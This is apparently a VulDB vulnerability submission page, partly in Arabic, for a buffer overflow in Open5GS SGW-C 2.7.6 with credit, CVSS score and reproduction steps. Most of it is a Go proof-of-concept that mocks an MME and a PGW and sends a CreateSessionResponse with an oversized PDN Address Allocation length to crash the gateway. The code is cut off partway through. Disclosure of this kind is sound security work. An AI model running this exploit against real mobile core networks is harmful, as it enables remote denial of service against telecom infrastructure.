إرسال #738334: Open5GS SGWC v2.7.6 Buffer Overflowالمعلومات

عنوانOpen5GS SGWC v2.7.6 Buffer Overflow
الوصف### Description SGW-C can be remotely crashed by a malicious/buggy PGW sending a CreateSessionResponse on the S5-C interface with a PDN Address Allocation (PAA) IE whose declared IE length is larger than the actual expected PAA structure size (IPv4 PAA is typically ≤ 5 bytes; overall PAA max is small, e.g. ~21 bytes depending on format). ### Credit Ziyu Lin, Xiaofeng Wang, Wei Dong (Nanyang Technological University) ### CVSS3.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H ### Steps to reproduce 1. Start a new go project inside a new folder: `go mod init poc` 2. Create a `main.go` and paste the code below: ``` package main import ( "flag" "fmt" "log" "net" "time" "github.com/wmnsk/go-gtp/gtpv2" "github.com/wmnsk/go-gtp/gtpv2/ie" "github.com/wmnsk/go-gtp/gtpv2/message" ) var ( sgwcIP = flag.String("sgwc", "", "SGW-C IP address (S5 interface)") sgwcPort = flag.Int("port", 2123, "SGW-C GTP-C port") sgwcS11IP = flag.String("sgwc-s11", "", "SGW-C IP address (S11 interface)") sgwcS11Port = flag.Int("s11-port", 2123, "SGW-C S11 GTP-C port") mmeIP = flag.String("mme", "127.0.0.5", "MME IP address (local)") mmePort = flag.Int("mme-port", 2123, "MME GTP-C port (local)") pgwIP = flag.String("pgw", "10.44.44.4", "PGW IP address (local)") oversizeLen = flag.Int("paa-len", 200, "Oversized PAA length (normal max is 21 bytes)") imsi = flag.String("imsi", "001010123456789", "IMSI for mock UE") apn = flag.String("apn", "internet", "APN for CreateSessionRequest") mmeTEID = flag.Uint("mme-teid", 0x11111111, "MME S11 TEID") pgwTEID = flag.Uint("pgw-teid", 0xABCDEF00, "PGW S5/S8 control-plane TEID") ) func main() { flag.Parse() if *sgwcIP == "" { log.Fatal("Error: -sgwc parameter is required (SGW-C IP address)") } if *sgwcS11IP == "" { *sgwcS11IP = *sgwcIP } log.Printf("[*] Vuln-PA1-08 PoC: Buffer Overflow in PDN Address Allocation") log.Printf("[*] Target: SGW-C at %s:%d", *sgwcIP, *sgwcPort) log.Printf("[*] SGW-C S11: %s:%d", *sgwcS11IP, *sgwcS11Port) log.Printf("[*] Attacker: PGW at %s", *pgwIP) log.Printf("[*] Mock MME: %s:%d (IMSI=%s, APN=%s)", *mmeIP, *mmePort, *imsi, *apn) log.Printf("[*] Oversized PAA length: %d bytes (normal max: 21 bytes)", *oversizeLen) pgwReady := make(chan struct{}) pgwDone := make(chan struct{}) // Run PGW mock server go runPGWMock(pgwReady, pgwDone) <-pgwReady if err := sendMMECreateSessionRequest(); err != nil { log.Printf("[MME] Failed to send CreateSessionRequest: %v", err) return } <-pgwDone } func runPGWMock(ready chan<- struct{}, done chan<- struct{}) { defer close(done) addr, err := net.ResolveUDPAddr("udp", fmt.Sprintf("%s:%d", *pgwIP, *sgwcPort)) if err != nil { log.Fatalf("[PGW] Failed to resolve address: %v", err) } conn, err := net.ListenUDP("udp", addr) if err != nil { log.Fatalf("[PGW] Failed to listen: %v", err) } defer conn.Close() log.Printf("[PGW] Mock server listening on %s:%d", *pgwIP, *sgwcPort) log.Println("[PGW] Waiting for CreateSessionRequest from SGW-C...") close(ready) buf := make([]byte, 4096) for { conn.SetReadDeadline(time.Now().Add(60 * time.Second)) n, remoteAddr, err := conn.ReadFromUDP(buf) if err != nil { if netErr, ok := err.(net.Error); ok && netErr.Timeout() { log.Println("[PGW] Timeout waiting for messages") continue } log.Printf("[PGW] Read error: %v", err) continue } if n < 12 { continue } // Parse GTP header msgType := buf[1] if msgType == 32 { // CreateSessionRequest log.Printf("[PGW] Received CreateSessionRequest from SGW-C (%d bytes)", n) // Parse message to extract TEID and sequence msg, err := message.Parse(buf[:n]) if err != nil { log.Printf("[PGW] Failed to parse message: %v", err) continue } csReq, ok := msg.(*message.CreateSessionRequest) if !ok { log.Println("[PGW] Message is not CreateSessionRequest") continue } // Extract SGW S5 TEID from Sender F-TEID var sgwS5TEID uint32 if fteid := csReq.SenderFTEIDC; fteid != nil { teid, err := fteid.TEID() if err == nil { sgwS5TEID = teid log.Printf("[PGW] Extracted SGW-C S5 TEID: 0x%08x", teid) } } if sgwS5TEID == 0 { log.Println("[PGW] Warning: Could not extract SGW-C TEID, using 0") } // Get sequence number from message seqNum := csReq.Sequence() log.Println("[*] Crafting malicious CreateSessionResponse...") log.Printf(" TEID: 0x%08x", sgwS5TEID) log.Printf(" Sequence: 0x%06x", seqNum) // Build CreateSessionResponse with oversized PAA csResp := buildMaliciousCreateSessionResponse(sgwS5TEID, seqNum) respBuf, err := csResp.Marshal() if err != nil { log.Printf("[PGW] Failed to marshal response: %v", err) continue } log.Println("[*] Vulnerability Trigger:") log.Println(" 1. SGW-C receives CreateSessionResponse on S5 interface") log.Println(" 2. sgwc_s5c_handle_create_session_response() checks PAA presence") log.Println(" 3. Executes: memcpy(&sess->paa, rsp->pdn_address_allocation.data, len)") log.Printf(" 4. No bounds check: len=%d > sizeof(sess->paa)=~21 bytes", *oversizeLen) log.Println(" 5. Buffer overflow corrupts adjacent memory") log.Println(" 6. Process crashes or exhibits undefined behavior") log.Printf("[*] Sending malicious CreateSessionResponse (%d bytes)...", len(respBuf)) // Manually modify the PAA IE length to oversized value respBuf = modifyPAALength(respBuf, *oversizeLen) _, err = conn.WriteToUDP(respBuf, remoteAddr) if err != nil { log.Printf("[PGW] Failed to send response: %v", err) } else { log.Printf("[+] Malicious CreateSessionResponse sent successfully") log.Println("[*] Expected behavior:") log.Println(" - Buffer overflow in sess->paa structure") log.Println(" - Memory corruption in adjacent fields") log.Println(" - Process crash or memory error") log.Println(" - Location: src/sgwc/s5c-handler.c:150-151") } log.Println("\n[*] PoC execution completed") log.Println("[*] Verify SGW-C logs for crash or memory corruption") return } } } func sendMMECreateSessionRequest() error { localAddr, err := net.ResolveUDPAddr("udp", fmt.Sprintf("%s:%d", *mmeIP, *mmePort)) if err != nil { return fmt.Errorf("resolve local address: %w", err) } remoteAddr, err := net.ResolveUDPAddr("udp", fmt.Sprintf("%s:%d", *sgwcS11IP, *sgwcS11Port)) if err != nil { return fmt.Errorf("resolve SGW-C S11 address: %w", err) } conn, err := net.ListenUDP("udp", localAddr) if err != nil { return fmt.Errorf("listen on MME address: %w", err) } defer conn.Close() seq := uint32(time.Now().UnixNano()) & 0x00ffffff csReq := buildMMECreateSessionRequest(seq) reqBuf, err := csReq.Marshal() if err != nil { return fmt.Errorf("marshal CreateSessionRequest: %w", err) } log.Printf("[MME] Sending CreateSessionRequest to SGW-C %s:%d (seq=0x%06x)", *sgwcS11IP, *sgwcS11Port, seq) if _, err := conn.WriteToUDP(reqBuf, remoteAddr); err != nil { return fmt.Errorf("send CreateSessionRequest: %w", err) } conn.SetReadDeadline(time.Now().Add(3 * time.Second)) respBuf := make([]byte, 2048) n, _, err := conn.ReadFromUDP(respBuf) if err != nil { if netErr, ok := err.(net.Error); ok && netErr.Timeout() { log.Println("[MME] No CreateSessionResponse received (timeout)") return nil } return fmt.Errorf("read CreateSessionResponse: %w", err) } log.Printf("[MME] Received CreateSessionResponse (%d bytes)", n) return nil } func buildMMECreateSessionRequest(seq uint32) *message.CreateSessionRequest { return message.NewCreateSessionRequest( 0, seq, ie.NewIMSI(*imsi), ie.NewAccessPointName(*apn), ie.NewPDNType(gtpv2.PDNTypeIPv4), ie.NewFullyQualifiedTEID(gtpv2.IFTypeS11MMEGTPC, uint32(*mmeTEID), *mmeIP, ""), ie.NewFullyQualifiedTEID(gtpv2.IFTypeS5S8PGWGTPC, uint32(*pgwTEID), *pgwIP, "").WithInstance(1), ie.NewBearerContext( ie.NewEPSBearerID(5), ie.NewBearerQoS(1, 2, 1, 9, 1000000, 1000000, 1000000, 1000000), ), ) } func buildMaliciousCreateSessionResponse(teid, seqNum uint32) *message.CreateSessionResponse { // Create a normal CreateSessionResponse // The PAA will be modified to oversized length after marshaling csResp := message.NewCreateSessionResponse( teid, seqNum, ie.NewCause(gtpv2.CauseRequestAccepted, 0, 0, 0, nil), ie.NewFullyQualifiedTEID(gtpv2.IFTypeS5S8PGWGTPC, 0xABCDEF00, *pgwIP, "").WithInstance(1), ie.NewPDNAddressAllocation("10.45.0.2"), // Normal IPv4 address (5 bytes total) ie.NewBearerContext( ie.NewEPSBearerID(5), ie.NewCause(gtpv2.CauseRequestAccepted, 0, 0, 0, nil), ie.NewFullyQualifiedTEID(gtpv2.IFTypeS5S8PGWGTPU, 0xABCDEF01, *pgwIP, "").WithInstance(2), ), ) return csResp } func modifyPAALength(buf []byte, newLen int) []byte { // GTPv2-C message structure: // - Header is 8 bytes without TEID, 12 bytes with TEID (T flag set) // - IEs follow after the header // // Each IE structure: // 0: Type (1 byte) // 1-2: Length (2 bytes, network order) // 3: Instance (1 byte) if Grouped IE, otherwise part of value // 4+: Value if len(buf) < 8 { log.Println("[!] Warning: GTPv2-C header too short") return buf } headerLen := 8 if buf[0]&0x08 != 0 { // T flag: TEID present headerLen = 12 } if len(buf) < headerLen { log.Printf("[!] Warning: buffer shorter than header length (%d)", headerLen) return buf } msgLen := int(buf[2])<<8 | int(buf[3]) payloadEnd := 4 + msgLen if payloadEnd > len(buf) { payloadEnd = len(buf) } if payloadEnd < headerLen { log.Printf("[!] Warning: invalid payload end (%d) < heade
المصدر⚠️ https://github.com/open5gs/open5gs/issues/4282
المستخدم
 LinZiyu (UID 94035)
ارسال14/01/2026 03:56 AM (3 أشهر منذ)
الاعتدال15/02/2026 09:36 AM (1 month later)
الحالةتمت الموافقة
إدخال VulDB346109 [Open5GS حتى 2.7.6 SGW-C sgwc_s5c_handle_create_session_response تلف الذاكرة]
النقاط20

Want to know what is going to be exploited?

We predict KEV entries!